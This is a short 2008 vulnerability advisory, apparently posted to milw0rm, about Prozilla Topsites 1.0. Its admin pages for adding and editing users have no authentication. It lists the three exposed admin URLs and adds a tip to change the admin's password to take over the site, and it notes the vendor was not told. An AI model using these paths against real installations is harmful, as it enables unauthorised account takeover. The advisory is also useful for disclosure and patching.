Prozilla Topsites 1.0 - Arbitrary Edit/Add Users

--==+================================================================================+==--
--==+	    Prozilla Topsites 1.0 Arbitrary Edit/Add Users Vulnerability             +==--
--==+================================================================================+==--



Discovered By: t0pP8uZz
Discovered On: 7 April 2008
Script Download: http://prozilla.net
DORK: N/A

Vendor Has Not Been Notified!


DESCRIPTION: 
Prozilla TopSites in vulnerable due to bad session handling, multiple admin area files are not
validating the users that is viewing it, therefor making it viewiable to anyone, even unregistered people.

below you will find a URL that will locate the add and edit users page.


Vulnerability:
http://site.com/siteadmin/addu.php
http://site.com/siteadmin/editu.php
http://site.com/siteadmin/uidx.php


NOTE/TIP: 
edit admin's password login to view all admin features  ;) 


GREETZ: milw0rm.com, h4ck-y0u.org, CipherCrew !



--==+================================================================================+==--
--==+	    Prozilla Topsites 1.0 Arbitrary Edit/Add Users Vulnerability             +==--
--==+================================================================================+==--

# milw0rm.com [2008-04-06]